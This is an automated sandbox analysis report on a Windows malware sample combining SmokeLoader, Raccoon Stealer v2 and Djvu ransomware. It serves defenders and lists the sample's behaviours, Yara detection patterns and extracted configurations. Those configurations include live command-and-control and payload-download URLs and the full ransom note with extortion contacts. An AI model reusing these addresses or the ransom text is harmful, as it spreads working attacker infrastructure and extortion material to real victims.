Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:	file.exe
Analysis ID:	715161
MD5:	417429fd2a6efc7f87c32696c8545146
SHA1:	04624a0080341cc2409f76bd1f5d9def049f46a9
SHA256:	d15624abf29ec8f68092007b8359b03182e3a82b0d8b8c3cd72f1d765e8ca1bb
Tags:	exe
Infos:

Detection

CryptOne, Djvu, Raccoon Stealer v2, SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected CryptOne packer

Yara detected SmokeLoader

Detected unpacking (changes PE section rights)

Snort IDS alert for network traffic

Yara detected Raccoon Stealer v2

Benign windows process drops PE files

Malicious sample detected (through community Yara rule)

Yara detected Djvu Ransomware

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Tries to steal Mail credentials (via file / registry access)

Maps a DLL or memory area into another process

Machine Learning detection for sample

Injects a PE file into a foreign processes

DLL side loading technique detected

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Found many strings related to Crypto-Wallets (likely being stolen)

Checks if the current machine is a virtual machine (disk enumeration)

Tries to harvest and steal browser information (history, passwords, etc)

Writes to foreign memory regions

Tries to steal Crypto Currency Wallets

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Antivirus or Machine Learning detection for unpacked file

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Downloads executable code via HTTP

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Registers a DLL

PE file contains more sections than normal

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Yara signature match

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Found potential string decryption / allocating functions

Contains functionality to call native functions

Contains functionality to read the clipboard data

Found dropped PE file which has not been started or loaded

Contains functionality to record screenshots

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Classification

Process Tree

System is w10x64

file.exe (PID: 5572 cmdline: C:\Users\user\Desktop\file.exe MD5: 417429FD2A6EFC7F87C32696C8545146)

explorer.exe (PID: 3320 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

regsvr32.exe (PID: 5152 cmdline: regsvr32 /s C:\Users\user~1\AppData\Local\Temp\FED8.dll MD5: D78B75FC68247E8A63ACBA846182740E)

regsvr32.exe (PID: 1196 cmdline: /s C:\Users\user~1\AppData\Local\Temp\FED8.dll MD5: 426E7499F6A7346F0410DEAD0805586B)

253.exe (PID: 1692 cmdline: C:\Users\user~1\AppData\Local\Temp\253.exe MD5: D8A18175CDDDF3915358213914DC8EB9)

253.exe (PID: 4188 cmdline: C:\Users\user~1\AppData\Local\Temp\253.exe MD5: D8A18175CDDDF3915358213914DC8EB9)

959.exe (PID: 416 cmdline: C:\Users\user~1\AppData\Local\Temp\959.exe MD5: 130142D90FF770C5628ABCC833585D0B)

conhost.exe (PID: 1156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

AppLaunch.exe (PID: 100968 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe MD5: 6807F903AC06FF7E1670181378690B22)

explorer.exe (PID: 1364 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 166AB1B9462E5C1D6D18EC5EC0B6A5F7)

explorer.exe (PID: 4540 cmdline: C:\Windows\explorer.exe MD5: AD5296B280E8F522A8A897C96BAB0E1D)

sfrvjvv (PID: 5148 cmdline: C:\Users\user\AppData\Roaming\sfrvjvv MD5: 417429FD2A6EFC7F87C32696C8545146)

cleanup

Malware Configuration

Threatname: Djvu

{"Download URLs": ["http://rgyui.top/dl/build2.exe", "http://winnlinne.com/files/1/build3.exe"], "C2 url": "http://winnlinne.com/lancer/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-g28rVcqA58\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@bestyourmail.ch\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelp@airmail.cc\r\n\r\nYour personal ID:\r\n0573Jhyjd", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtQoAmpi16WBNLAsbM3KI\\\\nO+PkvI2IR1U+JzIBLW5Ml6a7q58ILlZ5L+9qAc1dtCihpgyKnUqJL6uO0H8mALas\\\\nyxmD9rZ11k5DoS+yP1i1XxdzjJcnrbI4hmrR7ofspdLmFKx4Ke9QpQd+zfzp9uem\\\\nuI\\/YqGMA633LF3anUpVnEKFygPgieEmOXlTL59qDin\\/wNyDqS840OSZQVdFpMlnu\\\\n+lIjoIEB\\/osN9ggFIy583f36OrZBY2OtfWJS11kMoNw0D+D+tNpH7WhysmFYrbIp\\\\nVHJYg1YyTUdloKBvDEycmKUeDYPqXxpA4yCEjzvEKh8iNRXvFPOJqex4BALorRLs\\\\ndQIDAQAB\\\\n-----END PUBLIC KEY-----"}

Threatname: Raccoon

{"C2 url": ["http://193.38.55.180/"], "Bot ID": "1a17d9aed7a239440deb75d7a177f406", "RC4_key1": "1a17d9aed7a239440deb75d7a177f406"}

Threatname: SmokeLoader

{"C2 list": ["http://hulimudulinu.net/", "http://stalnnuytyt.org/", "http://gulutina49org.org/", "http://furubujjul.net/", "http://starvestitibo.org/", "http://liubertiyyyul.net/", "http://bururutu44org.org/", "http://youyouumenia5.org/", "http://nvulukuluir.net/", "http://nuluitnulo.me/", "http://guluiiiimnstra.net/"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.327806138.0000000000719000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x52e6:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000F.00000002.427521225.000000000076E000.00000004.00000010.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
0000000B.00000002.472600397.0000000000640000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000B.00000002.472600397.0000000000640000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x7d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.327538196.00000000005F0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.327538196.00000000005F0000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x7d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000B.00000002.473007456.0000000000678000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4ede:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000012.00000000.381594239.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000012.00000000.420031906.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000012.00000000.420031906.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000012.00000000.420031906.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000012.00000000.420031906.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000014.00000003.430460941.0000000000994000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
0000000F.00000003.417147539.0000000000800000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
0000000E.00000002.448264858.00000000022E3000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000012.00000000.430997531.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000012.00000000.430997531.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000012.00000000.430997531.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000012.00000000.430997531.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000014.00000003.429527772.000000000095D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
0000000B.00000002.472415838.00000000005A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000012.00000002.451482759.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000012.00000002.451482759.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000012.00000002.451482759.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000012.00000002.451482759.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000012.00000000.404293183.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000012.00000000.404293183.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000012.00000000.404293183.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000012.00000000.404293183.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000001.00000000.307013938.00000000023E1000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000001.00000000.307013938.00000000023E1000.00000020.80000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x3d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000014.00000002.491953856.0000000000997000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
0000000E.00000002.450132397.00000000023D0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000E.00000002.450132397.00000000023D0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000002.327509086.00000000005E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000003.244640816.00000000005F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000011.00000000.373415476.0000000002C70000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x34:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000B.00000002.473353545.0000000000871000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000B.00000002.473353545.0000000000871000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x3d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000000.00000002.328002456.00000000021E1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000000.00000002.328002456.00000000021E1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x3d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
00000012.00000000.425225650.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000012.00000000.425225650.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000012.00000000.425225650.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000012.00000000.425225650.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000B.00000003.459694158.00000000005C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000D.00000002.452217293.0000000005090000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Crypt	Yara detected CryptOne packer	Joe Security
00000012.00000000.428495458.0000000000400000.00000040.00000400.00020000.00000000.sdmp	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
00000012.00000000.428495458.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000012.00000000.428495458.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000012.00000000.428495458.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
Process Memory Space: 253.exe PID: 1692	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 253.exe PID: 1692	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x45084:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: 253.exe PID: 4188	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: 253.exe PID: 4188	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3488c:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0x74042:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xac002:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: AppLaunch.exe PID: 100968	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
Click to see the 51 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
11.3.sfrvjvv.5c0000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
11.2.sfrvjvv.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
18.0.253.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
15.2.959.exe.7701b0.1.raw.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
11.2.sfrvjvv.5a0e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0.3.file.exe.5f0000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
15.2.959.exe.7701b0.1.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
18.0.253.exe.400000.3.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
